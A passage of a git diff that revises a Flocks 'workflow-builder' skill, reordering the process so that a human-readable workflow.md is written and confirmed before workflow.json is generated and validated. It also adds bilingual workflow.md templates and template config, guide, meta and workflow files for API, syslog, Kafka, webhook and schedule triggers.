"order": 0 }, - { "from": "query_threat_intel", "to": "generate_report", "order": 0 } - ] -} -``` +## 2. 第二阶段：生成并确认 workflow.md（人读意图源） -### 2.2 写入文件并展示 +> 目标：先把工作流的业务意图、节点结构、输入输出和处理逻辑写成可读、可编辑的 `workflow.md`。页面左侧编辑器以 `workflow.md` 表达工作流，用户应先在这里确认意图；只有确认后才能生成 `workflow.json`。 -1. 将简化 JSON 写入规范目录下的 `workflow.json`（**必须使用绝对路径**，见第 9 节）：用户级为 `~/.flocks/plugins/workflows//`，项目级为 `/.flocks/plugins/workflows//` -2. 在消息中告知用户：「已更新流程图，请在工作流页面查看。对节点名称、描述或流程结构有什么修改建议？」 +### 2.0 文档语言选择（必须） -### 2.3 用户反馈循环（循环直至满意） +创建 `workflow.md` 前，必须用 `Question` 工具询问用户需要哪种流程说明文档： -收集用户的修改建议，按照以下循环执行，**直到用户确认满意**： +- 中文流程说明文档：读取 [references/workflow_zh.md](references/workflow_zh.md)，并可参考 [references/workflow_template/workflow.md](references/workflow_template/workflow.md) 的章节完整性，生成中文 `workflow.md`。 +- English workflow specification：读取 [references/workflow_en.md](references/workflow_en.md)，并可参考 [references/workflow_template/workflow.md](references/workflow_template/workflow.md) 的章节完整性，生成英文 `workflow.md`。 -``` -接收用户反馈 - ↓ -分析修改需求（增/删节点、改描述、调整边关系） - ↓ -更新简化 JSON - ↓ -重新写入文件 - ↓ -向用户展示更新摘要，询问是否满意 - ↓ -[满意] → 进入第三阶段 -[还有修改] → 重新循环 -``` - -> **提示**：前端检测到 `workflow.json` 更新后会自动刷新流程图，用户无需手动刷新。 - ---- - -## 3. 第三阶段：生成完整 workflow.md（人读描述） +规则： -> 以第一阶段确认的流程结构为基础，生成**操作手册级别**的详细流程文档。 +- 工作流目录里最终只写一份 `workflow.md`。 +- 不要在工作流目录里创建 `workflow_zh.md`、`workflow_en.md`、`workflow.en.md` 或其它语言副本。 +- `workflow_zh.md` / `workflow_en.md` 只是本 skill 内部的结构模板。 +- `references/workflow_template/` 只是本 skill 内部的创建参考包，严禁复制成可扫描的 `workflow_template` 工作流目录；需要模板内容时，只读取其中的文件并改造成当前真实工作流。 +- 不要根据用户当前会话语言自动猜测文档语言；创建 `workflow.md` 前必须明确询问并得到选择。 -### 核心要求 +### 2.1 核心要求 -每个步骤必须包含： +`workflow.md` 必须让人读得懂，也必须足够结构化，便于后续稳定生成 `workflow.json`。每个步骤必须包含： +- **功能概述**：用人能理解的话说明这个工作流解决什么问题、不解决什么问题。 +- **总体流程**：用箭头、表格或 Mermaid 描述节点顺序和职责。 - **输入/输出**：数据来源、格式、用途。 -- **处理逻辑**：具体操作步骤、判定条件、循环方式、异常处理。 +- **模块逻辑**：每个节点的职责、处理步骤、判定条件、循环方式、异常处理。 - **工具/LLM 标注**：明确该步是 Tool-driven 还是 LLM-driven（详细决策指南见 [reference.md § Tool vs LLM](references/reference.md#5-tool-vs-llm-决策指南)）。 - **推荐组合**：`tool.run_safe(...)` 获取数据 → `llm.ask(...)` 分析 → `tool.run('write', ...)` 落盘。 - **默认使用 `tool.run_safe()`**，返回 `{"success", "text", "obj", "error"}` 统一包络。 - **文件落盘**：节点有任何文件输出时，统一写入 `~/.flocks/workspace/outputs//` 目录下，详见 [reference.md § 文件输出规则](references/reference.md#6-文件输出规则)。 - **决策分支**：写清条件、各分支处理、跳转规则。 +- **发布和配置**：写清 API、Syslog、Kafka、Webhook、Schedule 等入口是否支持，运行态配置由 `config.json` 模板和 Storage/SQL 管理。 +- **编辑指南**：告诉用户修改输入、节点逻辑、输出、发布方式时应该优先改哪里。 - **报告结构**（若涉及）：除非用户要求简化，需包含摘要、分析、发现、建议、来源（模板见 [reference.md § 报告生成](references/reference.md#7-报告生成最佳实践)）。 -### ⚠️ 两步交付 +### 2.2 写入 workflow.md -1. 先用 `write` 工具将 `workflow.md` **写入文件**（路径与第 9 节一致，例如 `.../plugins/workflows//workflow.md`）。 +1. 先按用户选择的语言模板生成内容，再用 `write` 工具将单份 `workflow.md` **写入文件**（路径与第 9 节一致，例如 `.../plugins/workflows//workflow.md`）。 - **⚠️ 路径必须使用绝对路径**：全局目录可用 `python3 -c "import os; print(os.path.expanduser('~/.flocks/plugins/workflows/'))"`；项目目录可先解析 workspace（从 cwd 向上第一个含 `.flocks` 的目录）再拼接 `/.flocks/plugins/workflows/`。 - **严禁**使用未展开的相对路径（如 `.flocks/plugins/workflows//` 相对仓库根随手写入错误位置），否则 WebUI 可能无法从实际扫描目录读到文件。 -2. 写入成功后，用 `Question` 工具向用户展示流程摘要并请求确认（"确认工作流" / "修改工作流"）。确认后进入第四阶段生成 `workflow.json`。 + - **严禁**同时写入 `workflow.en.md` 或语言副本；UI 和生成流程只认当前工作流目录下的 `workflow.md`。 +2. 写入成功后，在消息中说明：「已创建 `workflow.md`，请在左侧编辑器查看并确认。需要调整节点、输入输出或处理逻辑时，请先改 `workflow.md`。」 +3. 需要用户确认是否进入 `workflow.json` 生成时，必须使用 `Question` 工具或等待页面 diff 的接受/拒绝结果；不要用普通文本提问替代确认。 + +### 2.3 用户反馈循环（循环直至满意） + +收集用户对 `workflow.md` 的修改建议，按照以下循环执行，**直到用户确认满意**： + +``` +接收用户反馈 + ↓ +分析修改需求（功能描述、节点职责、输入输出、处理逻辑、分支关系） + ↓ +更新 workflow.md + ↓ +重新写入文件 + ↓ +向用户展示更新摘要，并用 Question 工具或页面 diff 请用户确认 + ↓ +[满意] → 进入第三阶段，基于已确认 workflow.md 生成 workflow.json +[还有修改] → 继续循环 +``` + +> **禁止事项**：不要为了提前展示流程图而先写一个简化 `workflow.json`。当前创建流程必须让 `workflow.md` 先落盘并完成确认，`workflow.json` 只能作为已确认 `workflow.md` 的机器执行产物。 --- -## 4. 第四阶段：生成完整 workflow.json（机器执行） +## 3. 第三阶段：生成完整 workflow.json（机器执行） -根据 `workflow.md` 生成严格可执行的 `workflow.json`。**生成前建议读取 [references/reference.md](references/reference.md)**。 +根据已确认的 `workflow.md` 生成严格可执行的 `workflow.json`。**生成前必须读取最新磁盘上的 `workflow.md`，并建议读取 [references/reference.md](references/reference.md)**。 -### 4.0 节点生成策略 +### 3.0 节点生成策略 - **主路径**：每个可执行步骤 → `type="python"` 节点，必须同时包含 `code`（执行逻辑）+ `description`（文档说明）。 - **兜底**：`logic` 节点仅在用户明确要求"不写代码"或快速原型时使用，运行时由 codegen 兜底。 -### 4.1 运行时硬约束 +### 3.1 运行时硬约束 **顶层字段：** @@ -273,7 +238,7 @@ flowchart TD - JSON 中用 `"from"` 而非 `"from_"`；`from`/`to` 引用存在的 node id；`order` ≥ 0。 -### 4.2 映射规则 +### 3.2 映射规则 - `workflow.md` 每步对应一个节点，`id` 用 snake_case。 - md 中写的输出字段，必须在 `outputs[...]` 中体现。 @@ -281,7 +246,7 @@ flowchart TD - 下游节点如需 `tool.run(..., **inputs)`，用 `edge.mapping`/`edge.const` 规整输入到匹配工具参数形状。 - 详细 Mapping 指南见 [reference.md § Edge Mapping](references/reference.md#4-edge-mapping-详细指南)。 -### 4.3 分支/循环与 Join +### 3.3 分支/循环与 Join - **branch/loop 选边**：`bool` 值 label 用 `"true"`/`"false"`；`str` 值精确匹配；无命中回退到空 label 默认边。上游必须把 `select_key` 所需字段写入 payload。 - **分支汇合（强制）**： @@ -291,7 +256,7 @@ flowchart TD - 推荐模式：join 节点（python, `join=true`）归一化多分支输出 → 再传给后续步骤 - **嵌套工作流**：见 [references/composition.md](references/composition.md)。 -### 4.4 代码实现 +### 3.4 代码实现 **辅助函数：** @@ -347,7 +312,20 @@ elif isinstance(obj, str): - **文件输出**：有文件输出时写入 `~/.flocks/workspace/outputs//`（详见全局文件输出约定） - **数据传递**：`inputs` 和 `outputs` 字典，运行时浅合并 `payload = {**inputs, **outputs}` -> **⚠️** 生成后必须使用 `write` 写入到文件，并验证：1) `json.load` 确认 JSON 格式正确；2) 对每个 `type="python"` 节点的 `code` 执行 `compile(code, "", "exec")` 确认 Python 语法正确。若语法报错，修复后重新写入。 +> **⚠️** 生成后必须使用 `write` 写入到文件。写入完成后进入第四阶段验证，验证通过前不得进入逐节点测试。 + +--- + +## 4. 第四阶段：验证 workflow.json 与保存样例 + +`workflow.json` 写入后必须完成以下验证与准备工作： + +1. 用 `json.load` 确认 JSON 格式正确。 +2. 对每个 `type="python"` 节点的 `code` 执行 `compile(code, "", "exec")` 确认 Python 语法正确。 +3. 若格式或语法报错，修复后重新写入 `workflow.json` 并再次验证。 +4. 将阶段 1 收集的样例数据保存到 `POST /api/workflow/{id}/sample-inputs`，body 为 `{ "sampleInputs": <样例 JSON 对象> }`。 + +只有以上步骤全部通过后，才能进入第五阶段逐节点测试。 --- @@ -523,7 +501,7 @@ Body: { "inputs": <样例数据> } - **单节点改动** → 使用 `edit` 工具精准替换目标字段 - **多节点改动 / 结构重组** → 整体覆写 -**遵守所有 workflow.json 约束**（见第 4 节规范）。 +**遵守所有 workflow.json 约束**（见第 3 节规范）。 ### 8.4 验证与写回 @@ -607,27 +585,11 @@ python3 -c "from pathlib import Path; p=Path.cwd(); ws=next((x for x in [p,*p.pa --- -## workflow.md 标准模板 - -```markdown -# [Workflow Name] +## workflow.md 模板资源 -## 业务场景 -[目标和背景] +本 skill 内置两份流程说明文档模板： -## 流程步骤 +- 中文模板：[references/workflow_zh.md](references/workflow_zh.md) +- English template: [references/workflow_en.md](references/workflow_en.md) -### 1. [步骤名称] -- **描述**: [操作手册级别描述] -- **工具/模型**: [Tool: xxx / LLM: xxx] -- **输入**: [字段名: 来源和格式] -- **输出**: [字段名: 格式和用途] -- **处理逻辑**: - - [操作步骤] - - [工具调用：`result = tool.run_safe('name', ...)`，用 `result["text"]` 取结果] -- **决策分支**（如适用）: - - 条件 → 分支处理 - -### 2. [步骤名称] -... -``` +创建工作流时，先用 `Question` 工具确认用户需要哪种语言，然后读取对应模板，把真实内容写入工作流目录下唯一的 `workflow.md`。 diff --git a/.flocks/plugins/skills/workflow-builder/references/composition.md b/.flocks/plugins/skills/workflow-builder/references/composition.md index 038bd082b..79ffea1b9 100644 --- a/.flocks/plugins/skills/workflow-builder/references/composition.md +++ b/.flocks/plugins/skills/workflow-builder/references/composition.md @@ -18,6 +18,10 @@ { "format": "flocks-workflow-composition-v1", "name": "your_workflow_name", + "nameI18n": { + "zh-CN": "你的工作流名称", + "en-US": "Your Workflow Name" + }, "start": "node_id", "nodes": [ { diff --git a/.flocks/plugins/skills/workflow-builder/references/reference.md b/.flocks/plugins/skills/workflow-builder/references/reference.md index 8b91d161e..2fa7458aa 100644 --- a/.flocks/plugins/skills/workflow-builder/references/reference.md +++ b/.flocks/plugins/skills/workflow-builder/references/reference.md @@ -195,6 +195,10 @@ ```json { "name": "my_workflow", + "nameI18n": { + "zh-CN": "我的工作流", + "en-US": "My Workflow" + }, "description": "工作流用途说明（可选）", "start": "step_1", "nodes": [ diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_en.md b/.flocks/plugins/skills/workflow-builder/references/workflow_en.md new file mode 100644 index 000000000..18b9d666d --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_en.md @@ -0,0 +1,189 @@ +# [workflow_id] + +> This is an English `workflow.md` structure template. When creating a workflow, replace placeholders with real business content and write only the final result to `workflow.md` in the workflow directory. + +## 1. Functional Overview + +`[workflow_id]` is a [one-sentence description of the workflow type]. + +It mainly solves three things: + +- [Goal 1: what information the workflow receives or organizes.] +- [Goal 2: how it processes, decides, filters, aggregates, or analyzes.] +- [Goal 3: what it outputs and who uses the result.] + +Suitable scenarios: + +- [Scenario 1] +- [Scenario 2] +- [Scenario 3] + +Out of scope: + +- [Boundary 1] +- [Boundary 2] +- Do not store plaintext secrets. Credentials, enable/disable state, and runtime configuration should be managed by configuration and storage. + +## 2. Flow Map + +The workflow runs in this order: + +```text +[node_1] -> [node_2] -> [node_3] -> [final_node] +``` + +| Order | Node | Responsibility | +| --- | --- | --- | +| 1 | `[node_1]` | [Node responsibility] | +| 2 | `[node_2]` | [Node responsibility] | +| 3 | `[node_3]` | [Node responsibility] | + +In plain terms: + +```text +Raw input + -> [first processing step] + -> [second processing step] + -> [third processing step] + -> final output +``` + +## 3. Inputs + +### 3.1 Input Modes + +| Priority | Field | Type | Purpose | +| --- | --- | --- | --- | +| 1 | `[primary_input]` | `[type]` | [Primary input source] | +| 2 | `[secondary_input]` | `[type]` | [Optional input source] | + +If multiple input fields are provided, the workflow should process `[primary_input]` first. + +### 3.2 Common Parameters + +| Parameter | Default | Description | +| --- | --- | --- | +| `[param_name]` | `[default]` | [Meaning] | + +### 3.3 Input Example + +```json +{ + "input": "replace with a representative sample" +} +``` + +## 4. Module Logic + +### 4.1 [node_1]: [Node Name] + +This node answers: + +- [Question 1] +- [Question 2] + +Processing logic: + +1. [Step 1] +2. [Step 2] +3. [Step 3] + +Tool/model: + +- Type: Tool-driven / LLM-driven / Python rule +- Call: [tool name or model purpose; write none if not used] + +Inputs: + +| Field | Source | Description | +| --- | --- | --- | +| `[field]` | `[source]` | [Description] | + +Outputs: + +| Field | Description | +| --- | --- | +| `[output_field]` | [Description] | + +Typical edit points: + +- [Common edit point 1] +- [Common edit point 2] + +### 4.2 [node_2]: [Node Name] + +Describe every node with the same structure. The node descriptions must be clear enough for Flocks to generate a stable `workflow.json` from this document. + +## 5. Outputs + +The workflow mainly outputs these fields: + +| Field | Type | Meaning | +| --- | --- | --- | +| `[result]` | object | [Final result] | +| `[summary]` | string | [Summary] | + +If the workflow writes files, write them under: + +```text +~/.flocks/workspace/outputs// +``` + +Do not write reports, debug files, or intermediate artifacts into the project code directory. + +## 6. Publishing And Configuration + +The publish page does not decide capabilities directly from `workflow.md`; it reads the `config.json` template and runtime state from storage. + +Supported publishing or integration modes: + +- API: [supported or not; path or purpose] +- Syslog: [supported or not; port, protocol, start/stop behavior] +- Kafka: [supported or not; topic, consumer group, start/stop behavior] +- Webhook: [supported or not; callback or ingestion behavior] +- Schedule: [supported or not; trigger cadence] + +When editing publishing modes: + +- Change the publish template in `config.json`. +- Change runtime start/stop state through the publish page and backend runtime state. +- Do not write plaintext API keys, passwords, or tokens into `workflow.md` or `config.json`. + +## 7. How To Edit This Workflow + +Use the target change to locate the right area: + +| Change target | Edit first | +| --- | --- | +| Input fields or entry modes | `[entry_node]` | +| Field mapping or normalization | `[normalize_node]` | +| Decision, filtering, aggregation, or analysis rules | `[logic_node]` | +| Output fields or file format | `[output_node]` | +| Publishing and integration configuration | `config.json` | +| Flow structure, added nodes, or removed nodes | `workflow.md`, then regenerate `workflow.json` after confirmation | + +Basic editing principles: + +- If you change input fields, update the sample input. +- If you rename standard fields, update every downstream node. +- If you change decision rules, update output descriptions and validation samples. +- If you change output format, confirm downstream systems can still read it. + +## 8. Validation + +Minimum validation: + +1. Run one normal input and confirm the main output fields are non-empty. +2. Run one edge-case input and confirm error handling behaves as expected. +3. If there are branches, validate each important branch at least once. +4. If files are written, check the output path and file content. +5. If there is publish configuration, confirm the publish page only shows enabled capabilities. + +Acceptance checklist: + +- [ ] Inputs are correctly recognized and parsed. +- [ ] Each node has a clear responsibility and outputs fields downstream nodes can read. +- [ ] Branch, filtering, aggregation, or analysis logic matches expectations. +- [ ] Output fields and file formats are clear. +- [ ] `workflow.md` and `workflow.json` describe the same flow. +- [ ] No plaintext secrets are written into the workflow directory. diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_template/config.json b/.flocks/plugins/skills/workflow-builder/references/workflow_template/config.json new file mode 100644 index 000000000..c6dcb80df --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_template/config.json @@ -0,0 +1,126 @@ +{ + "version": 1, + "kind": "workflow.integration-config", + "workflow": { + "id": null, + "name": "", + "source": "project" + }, + "updatedAt": 0, + "publish": { + "type": "api_service", + "enabled": false, + "status": "stopped", + "driver": "local", + "apiKeyConfigured": false, + "allowedActions": [ + "publish", + "stop", + "copyInvokeUrl", + "rotateApiKey" + ] + }, + "triggers": [ + { + "id": "syslog-default", + "type": "syslog", + "name": "Syslog Listener", + "enabled": false, + "status": "stopped", + "source": { + "host": "0.0.0.0", + "port": 1514, + "protocol": "udp", + "format": "auto" + }, + "mapping": { + "syslog_message": "$.body" + }, + "inputs": {}, + "allowedActions": [ + "start", + "stop" + ] + }, + { + "id": "kafka-default", + "type": "kafka", + "name": "Kafka Consumer", + "enabled": false, + "status": "stopped", + "source": { + "inputBroker": "localhost:9092", + "inputTopic": "", + "inputGroupId": "-group", + "autoOffsetReset": "latest" + }, + "mapping": { + "kafka_message": "$.body" + }, + "inputs": {}, + "allowedActions": [ + "start", + "stop" + ] + }, + { + "id": "schedule-default", + "type": "schedule", + "name": "Cron Schedule", + "enabled": false, + "status": "stopped", + "source": { + "mode": "cron", + "cron": "*/5 * * * *", + "intervalSeconds": 300, + "timezone": "Asia/Shanghai" + }, + "runtime": { + "timeoutSeconds": 7200, + "noOverlap": true + }, + "inputs": { + "trigger": "schedule" + }, + "allowedActions": [ + "start", + "stop" + ] + }, + { + "id": "webhook-default", + "type": "custom_webhook", + "name": "Webhook Trigger", + "enabled": false, + "status": "stopped", + "source": { + "method": "POST", + "path": "/workflows//hook" + }, + "auth": { + "type": "api_key", + "apiKeyConfigured": false, + "headerName": "x-api-key" + }, + "mapping": { + "event": "$.body" + }, + "inputs": {}, + "allowedActions": [ + "enable", + "disable", + "copyWebhookUrl" + ] + } + ], + "rendering": { + "rule": "The publish page renders only configured publish and trigger modes.", + "hideUnconfiguredModes": true, + "secretsPolicy": "Do not store plaintext secrets; store secret references or configured booleans." + }, + "referenceNotes": { + "templateOnly": true, + "usage": "Copy only the publish mode and trigger entries needed by the real workflow. Remove unused trigger examples before saving the workflow config.", + "runtimePolicy": "This file is a desired capability template. Publishing, unpublishing, and trigger start or stop actions must call runtime APIs instead of editing config.json." + } +} diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_template/guide.md b/.flocks/plugins/skills/workflow-builder/references/workflow_template/guide.md new file mode 100644 index 000000000..1ca7c7e09 --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_template/guide.md @@ -0,0 +1,115 @@ +# workflow_template 配置引导参考 + +这个文件是 `workflow-builder` skill 内部的 `guide.md` 参考模板，用于创建真实工作流时改写成该工作流自己的配置引导文件。 + +真实工作流被配置时，Rex 必须读取真实工作流目录下的 `guide.md`，而不是把本参考模板当成工作流细节来源。 + +`workflow-config-guide` skill 只提供交互协议；本文件才是工作流配置细节、默认选项和验证方式的来源。 + +## 1. 工作流定位 + +- 工作流 ID：`workflow_template` +- 适用场景：模板占位工作流，用于复制后改造成真实工作流。 +- 当前状态：隐藏模板，不应在普通 UI 中作为可运行工作流展示。 + +## 2. AI 引导方式 + +真实工作流的 `guide.md` 不需要描述 UI 快捷入口。快捷入口只是用户意图来源，Rex 应该： + +1. 读取真实工作流的 `guide.md` 全文。 +2. 根据用户点击的入口或自然语言需求，自动定位相关章节。 +3. 提取该章节里的默认值、约束、样例、验证方法和禁止事项。 +4. 用 question 工具一次只问一个最关键问题。 +5. 必须提供自定义/补充输入；没有则填 `none`。 + +## 3. 输入模式 + +创建真实工作流的 `guide.md` 时，请把这里改成真实入口。 + +建议写清楚： + +- 支持哪些入口：API、Syslog、Kafka、Webhook、Schedule、File、Manual test。 +- 每种入口对应的 `config.json`/Storage 模板字段。 +- 哪些入口互斥，哪些可以同时存在。 +- 默认推荐哪个入口，以及原因。 + +Rex 提问要求： + +- 一次只问一个输入模式问题。 +- 必须提供自定义/补充输入；没有则填 `none`。 +- 如果输入模式会改变发布模板，先展示 diff，再用 question 工具确认。 + +## 4. 来源形态 + +创建真实工作流的 `guide.md` 时，请描述真实来源。 + +建议写清楚： + +- 来源产品或系统名称。 +- payload 是对象、列表、文件路径、文本消息还是其它格式。 +- 必填字段、可选字段和默认值。 +- 字段映射由哪个节点处理。 +- 是否已有代表性样例。 + +## 5. 输出去向 + +创建真实工作流的 `guide.md` 时，请描述真实输出。 + +建议写清楚： + +- API 返回字段。 +- 文件落盘路径。 +- Kafka/IM/channel/下游工作流等外发方式。 +- 输出失败或空结果时的行为。 + +## 6. 处理规则 + +创建真实工作流的 `guide.md` 时，请描述用户最常改的业务规则。 + +建议写清楚： + +- 过滤条件。 +- 阈值。 +- 去重或聚合策略。 +- 开关项。 +- 哪些低层参数默认隐藏，不主动询问。 + +## 7. 样例验证 + +创建真实工作流的 `guide.md` 时，请放入一条最小可用样例，或说明用户应该粘贴什么格式。 + +Rex 验证时应优先做轻量检查： + +- JSON/文本格式是否正确。 +- 字段映射是否能进入入口节点。 +- 预期输出是否符合 workflow.md。 +- 不要启用外部副作用，除非用户明确确认。 + +## 8. 应用方式 + +发布配置模板的生效来源： + +- 优先读后端 Storage/SQL 的 `/api/workflow//config`。 +- 如果库里没有，调用 `/api/workflow//config/sync`，由后端读取工作流目录下的 `config.json` 并迁移到 Storage/SQL。 +- `config.json` 是导入/兜底模板，不是运行态开关。 +- 不要直接写 `config.json` 来表示发布、接入或触发配置已经生效。 +- 启停、发布、取消发布等运行态动作必须调用运行时接口，不要通过修改 `config.json` 完成。 +- 如果后端配置接口不可用，只能把目标配置保存为草稿到 outputs，并明确说明未应用、未发布、未启动。 + +应用变更前： + +- 展示计划。 +- 展示 diff。 +- 用 question 工具确认应用、保存草稿或暂不修改。 + +## 9. 查配置 + +只读检查顺序： + +1. 读取本文件。 +2. 读取 `workflow.md` 和 `workflow.json`。 +3. 查询 `/api/workflow//config`。 +4. 必要时查看 `config.json` 是否只是兜底模板。 +5. 汇总已配置项、缺失项和最推荐下一步。 + +查配置不得修改文件或运行态。 diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_template/meta.json b/.flocks/plugins/skills/workflow-builder/references/workflow_template/meta.json new file mode 100644 index 000000000..a51696a87 --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_template/meta.json @@ -0,0 +1,19 @@ +{ + "id": "workflow_template", + "name": "Workflow Builder Reference Template", + "nameI18n": { + "zh-CN": "工作流创建参考模板", + "en-US": "Workflow Builder Reference Template" + }, + "description": "Internal workflow-builder reference package for workflow.md, workflow.json, config.json, and guide.md authoring.", + "category": "template", + "status": "hidden", + "hidden": true, + "templateOnly": true, + "visibility": "hidden", + "excludeFromUI": true, + "excludeFromPrompt": true, + "createdBy": null, + "createdAt": 0, + "updatedAt": 0 +} diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.json b/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.json new file mode 100644 index 000000000..92694e7e0 --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.json @@ -0,0 +1,39 @@ +{ + "id": "workflow_template", + "name": "workflow_template", + "nameI18n": { + "zh-CN": "工作流模板", + "en-US": "Workflow Template" + }, + "description": "Hidden template for workflow.json, workflow.md, and config.json.", + "start": "template_entry", + "nodes": [ + { + "id": "template_entry", + "type": "python", + "description": "Template placeholder. Copy this directory and replace the workflow before use.", + "code": "outputs['templateOnly'] = True\noutputs['message'] = 'Hidden workflow template; copy before use.'" + } + ], + "edges": [], + "metadata": { + "hidden": true, + "templateOnly": true, + "visibility": "hidden", + "excludeFromUI": true, + "excludeFromPrompt": true, + "templateVersion": 1, + "requiredFiles": [ + "workflow.json", + "workflow.md", + "config.json", + "meta.json" + ], + "publishConfigContract": { + "api": "When config.publish.type is api_service, the publish page shows only API publish controls.", + "syslog": "When config.triggers only contains syslog, the publish page shows only syslog listener start/stop controls.", + "kafka": "When config.triggers only contains kafka, the publish page shows only kafka consumer start/stop controls.", + "schedule": "When config.triggers only contains schedule, the publish page shows only schedule start/stop controls." + } + } +} diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.md b/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.md new file mode 100644 index 000000000..5cb9fb87d --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_template/workflow.md @@ -0,0 +1,117 @@ +# workflow_template + +> `workflow.md` is the single human-editable workflow specification. Flocks uses this file to understand intent, then keeps `workflow.json` aligned with the executable graph. + +## 1. Workflow Card + +- Workflow ID: `workflow_template` +- Reference directory: `.flocks/plugins/skills/workflow-builder/references/workflow_template/` +- Category: `template` +- Status: skill reference template, not a scannable workflow +- Entry node: `template_entry` +- Terminal node: `template_entry` + +## 2. Business Goal + +Describe the operational problem this workflow solves, who will use it, and what a successful run produces. + +Success criteria: + +- [ ] The expected input shape is clear. +- [ ] Each module has an explicit responsibility. +- [ ] The final output contract is clear to humans and downstream systems. +- [ ] Failure and empty-input behavior are documented. + +## 3. Runtime Contract + +### Inputs + +Replace this section with the real input keys and shapes. + +| Field | Type | Required | Default | Description | +| --- | --- | --- | --- | --- | +| `input` | object | yes | - | Primary workflow input. | + +### Outputs + +Replace this section with the final output contract. + +| Field | Type | Description | +| --- | --- | --- | +| `result` | object | Final workflow result. | + +### Tunables + +List thresholds, switches, timeouts, file paths, concurrency settings, and rollback notes. + +## 4. Flow Map + +`template_entry` + +| Order | Node | Type | Responsibility | Next | +| --- | --- | --- | --- | --- | +| 1 | `template_entry` | Python | Placeholder entry node. Replace before use. | final output | + +## 5. Module Specs + +### 1. template_entry + +| Item | Content | +| --- | --- | +| Module type | Python | +| Responsibility | Placeholder node that marks this directory as a template. | +| Inputs | Workflow inputs | +| Outputs | `templateOnly`, `message` | +| Edit focus | Replace this node with the real first module. | + +Generation notes for Flocks: + +- Keep node IDs stable after users start configuring publish modes. +- When adding or renaming outputs, update downstream edges and the runtime contract. +- Do not store plaintext secrets in this directory. + +## 6. Data Flow And Field Contract + +Document every cross-module field that must remain stable. + +- `template_entry -> final output` + +## 7. Publish And Triggers + +The publish page reads `config.json` as a template and runtime state from storage. + +- If `publish.type` is `api_service`, show API publish controls. +- If only `syslog` is configured, show only syslog listener start/stop controls. +- If only `kafka` is configured, show only kafka consumer start/stop controls. +- If only `schedule` is configured, show only schedule start/stop controls. +- Store secret references or configured booleans only; never store plaintext secrets. + +Workflow configuration guidance lives in `guide.md`. + +- `workflow-config-guide` defines interaction rules only. +- A real workflow's own `guide.md` defines that workflow's actual configuration questions, defaults, samples, and validation steps. +- Workflow chat shortcut buttons must read the real workflow's `guide.md` before asking or applying any configuration step. + +## 8. Change Guide + +| Change type | Edit first | Also check | +| --- | --- | --- | +| Input shape | Runtime Contract | Entry module, sample inputs | +| Module logic | Module Specs | Upstream outputs, downstream inputs | +| Output shape | Runtime Contract | Terminal module, downstream consumers | +| Publish mode | Publish And Triggers / `config.json` | Auth, secret refs, runtime state | + +## 9. Flocks Generation Constraints + +- `workflow.md` describes intent, module boundaries, field contracts, and validation. +- `workflow.json` describes executable nodes, edges, code, triggers, and metadata. +- Regeneration should preserve node IDs unless the user explicitly requests a graph change. +- Deleting or renaming a node requires updating edges, mappings, samples, and tests. + +## 10. Validation Checklist + +- [ ] `workflow.md` and `workflow.json` describe the same flow. +- [ ] A representative sample input runs successfully. +- [ ] At least one edge or error case is documented. +- [ ] Publish page only shows capabilities enabled by `config.json`. +- [ ] No plaintext secrets are stored in the workflow directory. diff --git a/.flocks/plugins/skills/workflow-builder/references/workflow_zh.md b/.flocks/plugins/skills/workflow-builder/references/workflow_zh.md new file mode 100644 index 000000000..5adb56027 --- /dev/null +++ b/.flocks/plugins/skills/workflow-builder/references/workflow_zh.md @@ -0,0 +1,189 @@ +# [workflow_id] + +> 这是一份中文 `workflow.md` 结构模板。创建工作流时，把占位内容替换成真实业务内容，并只把最终内容写入工作流目录下的 `workflow.md`。 + +## 1. 功能概述 + +`[workflow_id]` 是一个 [一句话说明工作流类型]。 + +它主要解决三件事： + +- [目标 1：这个工作流接收或整理什么信息。] +- [目标 2：它如何处理、判断、过滤、聚合或分析。] +- [目标 3：它最终输出什么结果，给谁使用。] + +适用场景： + +- [场景 1] +- [场景 2] +- [场景 3] + +不适合做的事： + +- [边界 1] +- [边界 2] +- 不保存明文密钥；凭证、启停状态和运行时配置应由配置和数据库管理。 + +## 2. 总体流程 + +工作流按下面顺序处理： + +```text +[node_1] -> [node_2] -> [node_3] -> [final_node] +``` + +| 顺序 | 节点 | 作用 | +| --- | --- | --- | +| 1 | `[node_1]` | [节点职责] | +| 2 | `[node_2]` | [节点职责] | +| 3 | `[node_3]` | [节点职责] | + +可以把它理解成： + +```text +原始输入 + -> [第一步处理] + -> [第二步处理] + -> [第三步处理] + -> 最终输出 +``` + +## 3. 输入说明 + +### 3.1 输入方式 + +| 优先级 | 字段 | 类型 | 用途 | +| --- | --- | --- | --- | +| 1 | `[primary_input]` | `[type]` | [主要输入来源] | +| 2 | `[secondary_input]` | `[type]` | [可选输入来源] | + +如果同时传入多个输入字段，工作流优先处理 `[primary_input]`。 + +### 3.2 常用输入参数 + +| 参数 | 默认值 | 说明 | +| --- | --- | --- | +| `[param_name]` | `[default]` | [参数含义] | + +### 3.3 输入示例 + +```json +{ + "input": "replace with a representative sample" +} +``` + +## 4. 模块逻辑 + +### 4.1 [node_1]：[节点名称] + +这个节点负责回答： + +- [问题 1] +- [问题 2] + +处理逻辑： + +1. [步骤 1] +2. [步骤 2] +3. [步骤 3] + +工具/模型： + +- 类型：Tool-driven / LLM-driven / Python rule +- 调用：[工具名或模型用途；没有则写无] + +输入： + +| 字段 | 来源 | 说明 | +| --- | --- | --- | +| `[field]` | `[source]` | [说明] | + +输出： + +| 字段 | 说明 | +| --- | --- | +| `[output_field]` | [说明] | + +你通常会在这里修改： + +- [常见修改点 1] +- [常见修改点 2] + +### 4.2 [node_2]：[节点名称] + +按同样结构描述每个节点。节点描述必须能让 Flocks 根据本文档稳定生成 `workflow.json`。 + +## 5. 输出说明 + 